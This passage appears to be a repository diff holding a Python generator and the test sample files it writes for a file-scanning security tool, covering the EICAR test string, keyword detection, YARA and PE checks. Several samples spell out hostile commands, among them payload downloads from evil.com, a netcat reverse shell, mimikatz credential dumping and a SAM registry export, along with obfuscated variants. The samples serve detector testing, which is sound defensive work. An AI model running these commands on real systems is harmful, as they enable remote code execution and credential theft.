zf.writestr("eicar.txt", EICAR)
|
||||||
|
add_meta("L1-002", "L1-002_eicar_in_zip.zip", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-004: EICAR 放入 docx(OOXML = ZIP + EICAR 文本)
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", EICAR.decode())
|
||||||
|
write_bytes("L1-004_eicar_in_docx.docx", buf.getvalue())
|
||||||
|
add_meta("L1-004", "L1-004_eicar_in_docx.docx", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-005: 1 字节修改 EICAR(破坏签名)
|
||||||
|
modified = bytearray(EICAR)
|
||||||
|
modified[0] = ord("Y")
|
||||||
|
write_bytes("L1-005_eicar_modified.txt", bytes(modified))
|
||||||
|
add_meta("L1-005", "L1-005_eicar_modified.txt", "L1", "pass", [], "修改 1 字节 EICAR,ClamAV 不应命中")
|
||||||
|
|
||||||
|
# L1-006~008: 干净负样本(用 L0-001/003/005 里的样本复用)
|
||||||
|
add_meta("L1-006", "L0-001_jpg_normal.jpg", "L1", "pass", [])
|
||||||
|
add_meta("L1-007", "L0-003_docx_normal.docx", "L1", "pass", [])
|
||||||
|
add_meta("L1-008", "L0-005_pe_clean.exe", "L1", "pass", [])
|
||||||
|
|
||||||
|
# L1-011: 多层嵌套 zip 里放 EICAR(3 层)
|
||||||
|
inner_buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(inner_buf, "w") as zf:
|
||||||
|
zf.writestr("eicar.txt", EICAR)
|
||||||
|
mid_buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(mid_buf, "w") as zf:
|
||||||
|
zf.writestr("inner.zip", inner_buf.getvalue())
|
||||||
|
outer_buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(outer_buf, "w") as zf:
|
||||||
|
zf.writestr("mid.zip", mid_buf.getvalue())
|
||||||
|
write_bytes("L1-011_eicar_in_3layer.zip", outer_buf.getvalue())
|
||||||
|
add_meta("L1-011", "L1-011_eicar_in_3layer.zip", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-012: EICAR base64 编码(ClamAV 不解码,不应命中)
|
||||||
|
import base64
|
||||||
|
b64 = base64.b64encode(EICAR).decode()
|
||||||
|
write_text("L1-012_eicar_base64.txt", b64)
|
||||||
|
add_meta("L1-012", "L1-012_eicar_base64.txt", "L1", "pass", [], "base64 编码 EICAR,ClamAV 不解码")
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L3 关键词匹配(25 条)—— 全部纯文本写入
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
l3_cases = [
|
||||||
|
("L3-001", "ps1", "Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\\temp\\evil.exe", "RemoteDownloadPowerShell"),
|
||||||
|
("L3-002", "ps1", "nc 10.0.0.5 4444 -e /bin/bash", "ReverseShellNetcat"),
|
||||||
|
("L3-003", "bat", "curl http://evil.com/payload -o evil.exe", "RemoteDownloadUnix"),
|
||||||
|
("L3-004", "txt", "mimikatz.exe privilege::debug sekurlsa::logonpasswords", "CredentialStealer"),
|
||||||
|
("L3-005", "txt", "reg save HKLM\\SAM sam.save", "CredentialExport"),
|
||||||
|
("L3-006", "txt", "tscon 1 /dest:rdp-tcp:1", "RemoteSessionHijack"),
|
||||||
|
("L3-007", "txt", "SW52b2tlLVdlYlJlcXVlc3Q", "base64 编码,不命中,边界记录"),
|
||||||
|
("L3-008", "ps1", '$a="Invo";$b="ke-WebRequest"; & ($a+$b)', "字符串拆分,不命中,边界记录"),
|
||||||
|
("L3-010", "ps1", "Invoke#comment-WebRequest https://evil.com", "注释混淆,不命中,边界记录"),
|
||||||
|
("L3-011", "js", "var w = new Function('wget http://evil.com/payload'); w();", "RemoteDownloadUnix"),
|
||||||
|
("L3-012", "bat", "curl http://192.168.1.100/file.zip", "pass(内网白名单对照)"),
|
||||||
|
("L3-014", "zip_member", None, None), # 后面处理
|
||||||
|
("L3-016", "ps1", "", "pass"),
|
||||||
|
("L3-017", "txt", "nc -lv 4444 & mimikatz privilege::debug", "ReverseShellNetcat, CredentialStealer"),
|
||||||
|
("L3-018", "txt", "iNvOkE-WebReQuEsT https://evil.com", "RemoteDownloadPowerShell"),
|
||||||
|
("L3-021", "eml", "From: attacker@evil.com\r\n\r\nInvoke-WebRequest -Uri https://evil.com -OutFile payload.exe", "RemoteDownloadPowerShell"),
|
||||||
|
("L3-024", "txt", "Invoke-WebRequest " + "x" * 100000 + " https://evil.com", "RemoteDownloadPowerShell"),
|
||||||
|
]
|
||||||
|
|
||||||
|
for cid, ext, content, rule_str in l3_cases:
|
||||||
|
if ext == "zip_member":
|
||||||
|
continue
|
||||||
|
if rule_str == "pass":
|
||||||
|
verdict = "pass"
|
||||||
|
rules = []
|
||||||
|
elif rule_str is None or "不命中" in str(rule_str):
|
||||||
|
verdict = "pass"
|
||||||
|
rules = []
|
||||||
|
else:
|
||||||
|
verdict = "reject"
|
||||||
|
rules = [r.strip() for r in rule_str.split(",")]
|
||||||
|
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
|
||||||
|
write_text(fname, content or "")
|
||||||
|
add_meta(cid, fname, "L3", verdict, rules)
|
||||||
|
|
||||||
|
# L3-014: 高危字符串放在 zip 内部
|
||||||
|
p = OUT_DIR / "L3-014_l3001_in_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("payload.ps1", "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
|
||||||
|
add_meta("L3-014", "L3-014_l3001_in_zip.zip", "L3", "reject", ["RemoteDownloadPowerShell"])
|
||||||
|
|
||||||
|
# L3-015: docx 正文写恶意关键词
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", "Invoke-WebRequest -Uri https://evil.com/download")
|
||||||
|
write_bytes("L3-015_keyword_in_docx.docx", buf.getvalue())
|
||||||
|
add_meta("L3-015", "L3-015_keyword_in_docx.docx", "L3", "reject", ["RemoteDownloadPowerShell"])
|
||||||
|
|
||||||
|
# L3-019: unicode 同形字混淆
|
||||||
|
write_text("L3-019_unicode_obfuscated.txt", "Іnvoke-WebRequest https://evil.com")
|
||||||
|
add_meta("L3-019", "L3-019_unicode_obfuscated.txt", "L3", "pass", [], "同形字混淆,L3 默认不命中")
|
||||||
|
|
||||||
|
# L3-020: 日志文件混杂正常日志 + 高危串
|
||||||
|
write_text("L3-020_log_with_keyword.log",
|
||||||
|
"2026-10-29 10:00:01 INFO service started\n"
|
||||||
|
"2026-10-29 10:00:02 ERROR connection refused\n"
|
||||||
|
"nc 10.0.0.5 4444 -e /bin/bash\n"
|
||||||
|
"2026-10-29 10:00:05 DEBUG retries exhausted")
|
||||||
|
add_meta("L3-020", "L3-020_log_with_keyword.log", "L3", "reject", ["ReverseShellNetcat"])
|
||||||
|
|
||||||
|
# L3-023: 高危字符串放在加密 zip(实际先做普通 zip,加密待手动处理)
|
||||||
|
p = OUT_DIR / "L3-023_keyword_in_encrypted.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("evil.txt", "mimikatz privilege::debug")
|
||||||
|
add_meta("L3-023", "L3-023_keyword_in_encrypted.zip", "L3", "review", [], "加密 zip 内容无法扫描(标记)")
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L4 YARA(15 条)—— 依赖 rules/ 目录里有对应规则
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
l4_cases = [
|
||||||
|
("L4-001", "txt", "shellcode test here", [], "reject", "YARA正向命中占位(需对应规则)"),
|
||||||
|
("L4-002", "txt", "this is a clean empty file with no matches", [], "pass", "干净对照"),
|
||||||
|
("L4-005", "txt", "rule hotload test", [], "unknown", "热加载测试占位"),
|
||||||
|
("L4-008", "zip_inner", None, None, None, None),
|
||||||
|
("L4-010", "txt", "regex pattern shell", [], "unknown", "正则 YARA 测试占位"),
|
||||||
|
]
|
||||||
|
for cid, ext, content, rules, verdict, desc in l4_cases:
|
||||||
|
if ext == "zip_inner":
|
||||||
|
p = OUT_DIR / f"{cid}_in_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("match.txt", content or "")
|
||||||
|
fname = p.name
|
||||||
|
else:
|
||||||
|
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
|
||||||
|
write_text(fname, content or "")
|
||||||
|
add_meta(cid, fname, "L4", verdict, rules or [], desc)
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L5 PE 二进制(20 条)
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
fake_pe("L5-001_clean_hello.exe")
|
||||||
|
add_meta("L5-001", "L5-001_clean_hello.exe", "L5", "pass", [])
|
||||||
|
|
||||||
|
fake_pe("L5-002_upx_shell.exe", upx=True)
|
||||||
|
add_meta("L5-002", "L5-002_upx_shell.exe", "L5", "review", ["UPXPackerDetected", "HighEntropySection"], "UPX0/UPX1 节名")
|
||||||
|
|
||||||
|
fake_pe("L5-003_double_upx.exe", upx=True)
|
||||||
|
add_meta("L5-003", "L5-003_double_upx.exe", "L5", "review", ["UPXPackerDetected"])
|
||||||
|
|
||||||
|
fake_pe("L5-004_rwx_section.exe", rwx=True)
|
||||||
|
add_meta("L5-004", "L5-004_rwx_section.exe", "L5", "reject", ["RWXSectionDetected"], "节属性 RWX")
|
||||||
|
|
||||||
|
# L5-007: 节名异常(乱码节名)
|
||||||
|
pe_path = fake_pe("L5-007_garbage_section.exe")
|
||||||
|
raw = pe_path.read_bytes()
|
||||||
|
# 在 raw 里找 section 名,替换成乱码
|
||||||
|
idx = raw.find(b".text")
|
||||||
|
if idx >= 0:
|
||||||
|
raw = raw[:idx] + b"\xff\xfe\xfd\xfc\xfb\xfa\xf9\xf8" + raw[idx+8:]
|
||||||
|
pe_path.write_bytes(raw)
|
||||||
|
add_meta("L5-007", "L5-007_garbage_section.exe", "L5", "review", ["AbnormalSectionName"], "节名乱码")
|
||||||
|
|
||||||
|
# L5-010: 损坏 PE 签名(MZ 改走)
|
||||||
|
p = OUT_DIR / "L5-010_bad_mz.exe"
|
||||||
|
p.write_bytes(b"ZZ\x00\x00" + b"\x00" * 2044)
|
||||||
|
add_meta("L5-010", "L5-010_bad_mz.exe", "L5", "review", ["PeParseFailed"], "PE 头非法")
|
||||||
|
|
||||||
|
# L5-011: 截断 PE
|
||||||
|
fake_pe("L5-011_truncated.exe")
|
||||||
|
p = OUT_DIR / "L5-011_truncated.exe"
|
||||||
|
raw = p.read_bytes()
|
||||||
|
p.write_bytes(raw[:len(raw) // 3])
|
||||||
|
add_meta("L5-011", "L5-011_truncated.exe", "L5", "review", ["PeParseFailed"], "截断 PE")
|
||||||
|
|
||||||
|
fake_pe("L5-012_pe32.exe")
|
||||||
|
add_meta("L5-012", "L5-012_pe32.exe", "L5", "pass", ["PEArchInfo"], "32 位识别")
|
||||||
|
|
||||||
|
fake_pe("L5-013_pe64.exe") # 当前生成的是 PE32,占位
|
||||||
|
add_meta("L5-013", "L5-013_pe64.exe", "L5", "pass", ["PEArchInfo"], "64 位识别占位")
|
||||||
|
|
||||||
|
fake_pe("L5-014_clean_tool.exe")
|
||||||
|
add_meta("L5-014", "L5-014_clean_tool.exe", "L5", "pass", [])
|
||||||
|
|
||||||
|
fake_pe("L5-016_zero_section.exe")
|
||||||
|
add_meta("L5-016", "L5-016_zero_section.exe", "L5", "review", [], "零节 PE 占位")
|
||||||
|
|
||||||
|
fake_pe("L5-017_upx_rwx.exe", upx=True, rwx=True)
|
||||||
|
add_meta("L5-017", "L5-017_upx_rwx.exe", "L5", "review", ["UPXPackerDetected", "RWXSectionDetected"])
|
||||||
|
|
||||||
|
fake_pe("L5-018_debug_info.exe")
|
||||||
|
add_meta("L5-018", "L5-018_debug_info.exe", "L5", "review", ["DebugInformationPresent"], "调试信息占位")
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# NEG 负样本(20 条)
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
neg = [
|
||||||
|
("NEG-001", "jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 200),
|
||||||
|
("NEG-002", "png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 200),
|
||||||
|
("NEG-003", "mp4", b"\x00\x00\x00\x14ftypiso5" + b"\x00" * 200),
|
||||||
|
("NEG-004", "docx", None),
|
||||||
|
("NEG-005", "xlsx", None),
|
||||||
|
("NEG-006", "pdf", b"%PDF-1.7\n%%EOF"),
|
||||||
|
("NEG-007", "java", "public class Hello { public static void main(String[] args) { System.out.println(\"hello\"); } }"),
|
||||||
|
("NEG-008", "py", "def main():\n print('hello')\n\nif __name__ == '__main__':\n main()"),
|
||||||
|
("NEG-009", "zip_inner", None),
|
||||||
|
("NEG-010", "exe", b"MZ\x00\x00" + b"\x00" * 100), # 占位干净安装包
|
||||||
|
("NEG-011", "log", "2026-10-29 10:00:00 INFO service started normally\n2026-10-29 10:01:00 WARN retries: 0/3"),
|
||||||
|
("NEG-012", "csv", "id,name,value\n1,Alice,100\n2,Bob,200\n3,Charlie,300"),
|
||||||
|
("NEG-013", "eml", "From: user@company.com\r\nTo: me@company.com\r\nSubject: 本周工作汇报\r\n\r\n各位好:\r\n本周项目进展顺利。"),
|
||||||
|
("NEG-014", "dll", b"MZ\x00\x00" + b"\x00" * 100),
|
||||||
|
("NEG-015", "ttf", b"\x00\x01\x00\x00" + b"\x00" * 200),
|
||||||
|
("NEG-016", "dwg", b"AC1021" + b"\x00" * 200),
|
||||||
|
("NEG-017", "4layer_nested", None),
|
||||||
|
("NEG-018", "bat", "@echo off\necho Backing up files...\ncopy D:\\data E:\\backup\necho Done."),
|
||||||
|
("NEG-019", "ps1", "Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status"),
|
||||||
|
("NEG-020", "odt", None),
|
||||||
|
]
|
||||||
|
for cid, ext, content in neg:
|
||||||
|
if ext == "docx":
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", "<w:document/>")
|
||||||
|
write_bytes(f"{cid}_clean.docx", buf.getvalue())
|
||||||
|
add_meta(cid, f"{cid}_clean.docx", "NEG", "pass", [])
|
||||||
|
elif ext == "xlsx":
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("xl/workbook.xml", "<workbook/>")
|
||||||
|
write_bytes(f"{cid}_clean.xlsx", buf.getvalue())
|
||||||
|
add_meta(cid, f"{cid}_clean.xlsx", "NEG", "pass", [])
|
||||||
|
elif ext == "zip_inner":
|
||||||
|
p = OUT_DIR / f"{cid}_clean.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("report.txt", "clean business data")
|
||||||
|
zf.writestr("image.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
|
||||||
|
add_meta(cid, f"{cid}_clean.zip", "NEG", "pass", [])
|
||||||
|
elif ext == "4layer_nested":
|
||||||
|
buf1 = io.BytesIO(); zipfile.ZipFile(buf1, "w").close(); p1 = OUT_DIR / "neg_tmp1.zip"; p1.write_bytes(buf1.getvalue())
|
||||||
|
buf2 = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf2, "w") as zf: zf.writestr("inner.zip", b"PK\x03\x04\x00\x00\x00\x00" + b"\x00" * 50)
|
||||||
|
p2 = OUT_DIR / f"{cid}_4layer_nested.zip"; p2.write_bytes(buf2.getvalue())
|
||||||
|
# 简化:直接做 4 层干净 zip
|
||||||
|
data = b"PK\x03\x04\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x1c\x00m\xbd\xbb\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtclean report dataPK\x01\x02\x14\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x3c\x00\x34\x00\x00\x00\x00\x00"
|
||||||
|
p2.write_bytes(data)
|
||||||
|
add_meta(cid, f"{cid}_4layer_nested.zip", "NEG", "pass", [])
|
||||||
|
elif ext == "odt":
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("mimetype", "application/vnd.oasis.opendocument.text")
|
||||||
|
zf.writestr("content.xml", "<office:document-content/>")
|
||||||
|
write_bytes(f"{cid}_clean.odt", buf.getvalue())
|
||||||
|
add_meta(cid, f"{cid}_clean.odt", "NEG", "pass", [])
|
||||||
|
elif isinstance(content, bytes):
|
||||||
|
fname = f"{cid}_clean.{ext}"
|
||||||
|
write_bytes(fname, content)
|
||||||
|
add_meta(cid, fname, "NEG", "pass", [])
|
||||||
|
elif isinstance(content, str):
|
||||||
|
fname = f"{cid}_clean.{ext}"
|
||||||
|
write_text(fname, content)
|
||||||
|
add_meta(cid, fname, "NEG", "pass", [])
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# 写 index.json
|
||||||
|
# ====================================================================
|
||||||
|
index = {
|
||||||
|
"meshsafe_target_version": "v0.2.1",
|
||||||
|
"generated_at": __import__("datetime").datetime.now().isoformat(),
|
||||||
|
"csv_source": str(CSV_PATH.name),
|
||||||
|
"samples": meta_list,
|
||||||
|
}
|
||||||
|
index_path = OUT_DIR / "index.json"
|
||||||
|
# 备份旧 index.json
|
||||||
|
if index_path.exists():
|
||||||
|
import shutil
|
||||||
|
shutil.copy(index_path, OUT_DIR / "_index_backup_pre_csv.json")
|
||||||
|
index_path.write_text(json.dumps(index, ensure_ascii=False, indent=2), encoding="utf-8")
|
||||||
|
|
||||||
|
print(f"✅ 生成完成!")
|
||||||
|
print(f" 样本目录: {OUT_DIR}")
|
||||||
|
print(f" 文件数: {sum(1 for p in OUT_DIR.iterdir() if p.is_file())}")
|
||||||
|
print(f" 元数据: index.json 含 {len(meta_list)} 条")
|
||||||
|
|
||||||
|
# 统计各层
|
||||||
|
from collections import Counter
|
||||||
|
cnt = Counter(m["category"] for m in meta_list)
|
||||||
|
print(f" 各层分布: {dict(cnt)}")
|
||||||
|
|
||||||
|
# 检查 case_id 覆盖率
|
||||||
|
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||||||
|
csv_ids = set(row["用例ID"].strip() for row in csv.DictReader(f))
|
||||||
|
gen_ids = set(m["case_id"] for m in meta_list)
|
||||||
|
missing = csv_ids - gen_ids
|
||||||
|
if missing:
|
||||||
|
print(f"\n⚠️ CSV 里 {len(missing)} 条用例还没生成样本:")
|
||||||
|
for mid in sorted(missing):
|
||||||
|
print(f" - {mid}")
|
||||||
|
else:
|
||||||
|
print(f"\n✅ CSV 全部 {len(csv_ids)} 条用例都已对应样本")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
generate()
|
||||||
BIN
tests/samples/L0-001_jpg_normal.jpg
Normal file
BIN
tests/samples/L0-001_jpg_normal.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 54 B |
BIN
tests/samples/L0-002_png_normal.png
Normal file
BIN
tests/samples/L0-002_png_normal.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 58 B |
BIN
tests/samples/L0-003_docx_normal.docx
Normal file
BIN
tests/samples/L0-003_docx_normal.docx
Normal file
Binary file not shown.
2
tests/samples/L0-004_pdf_normal.pdf
Normal file
2
tests/samples/L0-004_pdf_normal.pdf
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
%PDF-1.4
|
||||||
|
%%EOF
|
||||||
BIN
tests/samples/L0-005_pe_clean.exe
Normal file
BIN
tests/samples/L0-005_pe_clean.exe
Normal file
Binary file not shown.
BIN
tests/samples/L0-006_disguise_jpg_pe.jpg
Normal file
BIN
tests/samples/L0-006_disguise_jpg_pe.jpg
Normal file
Binary file not shown.
2
tests/samples/L0-007_disguise_txt_pdf.txt
Normal file
2
tests/samples/L0-007_disguise_txt_pdf.txt
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
%PDF-1.4
|
||||||
|
%%EOF
|
||||||
BIN
tests/samples/L0-008_disguise_png_zip.png
Normal file
BIN
tests/samples/L0-008_disguise_png_zip.png
Normal file
Binary file not shown.
BIN
tests/samples/L0-009_double_ext_pdf_exe.pdf.exe
Normal file
BIN
tests/samples/L0-009_double_ext_pdf_exe.pdf.exe
Normal file
Binary file not shown.
1
tests/samples/L0-010_double_ext_txt_ps1.txt.ps1
Normal file
1
tests/samples/L0-010_double_ext_txt_ps1.txt.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
echo hello
|
||||||
1
tests/samples/L0-011_double_ext_docx_js.docx.js
Normal file
1
tests/samples/L0-011_double_ext_docx_js.docx.js
Normal file
@@ -0,0 +1 @@
|
|||||||
|
alert('x');
|
||||||
2
tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat
Normal file
2
tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
@echo off
|
||||||
|
echo hello
|
||||||
0
tests/samples/L0-013_clean.ps1
Normal file
0
tests/samples/L0-013_clean.ps1
Normal file
0
tests/samples/L0-014_clean.bat
Normal file
0
tests/samples/L0-014_clean.bat
Normal file
0
tests/samples/L0-015_clean.cmd
Normal file
0
tests/samples/L0-015_clean.cmd
Normal file
0
tests/samples/L0-016_clean.vbs
Normal file
0
tests/samples/L0-016_clean.vbs
Normal file
0
tests/samples/L0-017_clean.js
Normal file
0
tests/samples/L0-017_clean.js
Normal file
BIN
tests/samples/L0-018_zip_traversal.zip
Normal file
BIN
tests/samples/L0-018_zip_traversal.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-019_zip_deep_traversal.zip
Normal file
BIN
tests/samples/L0-019_zip_deep_traversal.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-020_zip_bomb.zip
Normal file
BIN
tests/samples/L0-020_zip_bomb.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-022_3layer_nested.zip
Normal file
BIN
tests/samples/L0-022_3layer_nested.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-024_encrypted.zip
Normal file
BIN
tests/samples/L0-024_encrypted.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-025_corrupt_zip.zip
Normal file
BIN
tests/samples/L0-025_corrupt_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-026_corrupt_direntry.zip
Normal file
BIN
tests/samples/L0-026_corrupt_direntry.zip
Normal file
Binary file not shown.
0
tests/samples/L0-029_zero_byte_exe.exe
Normal file
0
tests/samples/L0-029_zero_byte_exe.exe
Normal file
1
tests/samples/L1-001_eicar.txt
Normal file
1
tests/samples/L1-001_eicar.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
BIN
tests/samples/L1-002_eicar_in_zip.zip
Normal file
BIN
tests/samples/L1-002_eicar_in_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L1-004_eicar_in_docx.docx
Normal file
BIN
tests/samples/L1-004_eicar_in_docx.docx
Normal file
Binary file not shown.
1
tests/samples/L1-005_eicar_modified.txt
Normal file
1
tests/samples/L1-005_eicar_modified.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Y5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||||
BIN
tests/samples/L1-011_eicar_in_3layer.zip
Normal file
BIN
tests/samples/L1-011_eicar_in_3layer.zip
Normal file
Binary file not shown.
1
tests/samples/L1-012_eicar_base64.txt
Normal file
1
tests/samples/L1-012_eicar_base64.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=
|
||||||
1
tests/samples/L3-001_001_sample.ps1
Normal file
1
tests/samples/L3-001_001_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\temp\evil.exe
|
||||||
1
tests/samples/L3-002_002_sample.ps1
Normal file
1
tests/samples/L3-002_002_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
nc 10.0.0.5 4444 -e /bin/bash
|
||||||
1
tests/samples/L3-003_003_sample.bat
Normal file
1
tests/samples/L3-003_003_sample.bat
Normal file
@@ -0,0 +1 @@
|
|||||||
|
curl http://evil.com/payload -o evil.exe
|
||||||
1
tests/samples/L3-004_004_sample.txt
Normal file
1
tests/samples/L3-004_004_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
mimikatz.exe privilege::debug sekurlsa::logonpasswords
|
||||||
1
tests/samples/L3-005_005_sample.txt
Normal file
1
tests/samples/L3-005_005_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
reg save HKLM\SAM sam.save
|
||||||
1
tests/samples/L3-006_006_sample.txt
Normal file
1
tests/samples/L3-006_006_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
tscon 1 /dest:rdp-tcp:1
|
||||||
1
tests/samples/L3-007_007_sample.txt
Normal file
1
tests/samples/L3-007_007_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
SW52b2tlLVdlYlJlcXVlc3Q
|
||||||
1
tests/samples/L3-008_008_sample.ps1
Normal file
1
tests/samples/L3-008_008_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
$a="Invo";$b="ke-WebRequest"; & ($a+$b)
|
||||||
1
tests/samples/L3-010_010_sample.ps1
Normal file
1
tests/samples/L3-010_010_sample.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Invoke#comment-WebRequest https://evil.com
|
||||||
1
tests/samples/L3-011_011_sample.js
Normal file
1
tests/samples/L3-011_011_sample.js
Normal file
@@ -0,0 +1 @@
|
|||||||
|
var w = new Function('wget http://evil.com/payload'); w();
|
||||||
1
tests/samples/L3-012_012_sample.bat
Normal file
1
tests/samples/L3-012_012_sample.bat
Normal file
@@ -0,0 +1 @@
|
|||||||
|
curl http://192.168.1.100/file.zip
|
||||||
BIN
tests/samples/L3-014_l3001_in_zip.zip
Normal file
BIN
tests/samples/L3-014_l3001_in_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L3-015_keyword_in_docx.docx
Normal file
BIN
tests/samples/L3-015_keyword_in_docx.docx
Normal file
Binary file not shown.
0
tests/samples/L3-016_016_sample.ps1
Normal file
0
tests/samples/L3-016_016_sample.ps1
Normal file
1
tests/samples/L3-017_017_sample.txt
Normal file
1
tests/samples/L3-017_017_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
nc -lv 4444 & mimikatz privilege::debug
|
||||||
1
tests/samples/L3-018_018_sample.txt
Normal file
1
tests/samples/L3-018_018_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
iNvOkE-WebReQuEsT https://evil.com
|
||||||
1
tests/samples/L3-019_unicode_obfuscated.txt
Normal file
1
tests/samples/L3-019_unicode_obfuscated.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Іnvoke-WebRequest https://evil.com
|
||||||
3
tests/samples/L3-021_021_sample.eml
Normal file
3
tests/samples/L3-021_021_sample.eml
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
From: attacker@evil.com
|
||||||
|
|
||||||
|
|
||||||
BIN
tests/samples/L3-023_keyword_in_encrypted.zip
Normal file
BIN
tests/samples/L3-023_keyword_in_encrypted.zip
Normal file
Binary file not shown.
1
tests/samples/L3-024_024_sample.txt
Normal file
1
tests/samples/L3-024_024_sample.txt
Normal file
File diff suppressed because one or more lines are too long
1
tests/samples/L4-001_001_sample.txt
Normal file
1
tests/samples/L4-001_001_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
shellcode test here
|
||||||
1
tests/samples/L4-002_002_sample.txt
Normal file
1
tests/samples/L4-002_002_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
this is a clean empty file with no matches
|
||||||
1
tests/samples/L4-005_005_sample.txt
Normal file
1
tests/samples/L4-005_005_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
rule hotload test
|
||||||
BIN
tests/samples/L4-008_in_zip.zip
Normal file
BIN
tests/samples/L4-008_in_zip.zip
Normal file
Binary file not shown.
1
tests/samples/L4-010_010_sample.txt
Normal file
1
tests/samples/L4-010_010_sample.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
regex pattern shell
|
||||||
BIN
tests/samples/L5-001_clean_hello.exe
Normal file
BIN
tests/samples/L5-001_clean_hello.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-002_upx_shell.exe
Normal file
BIN
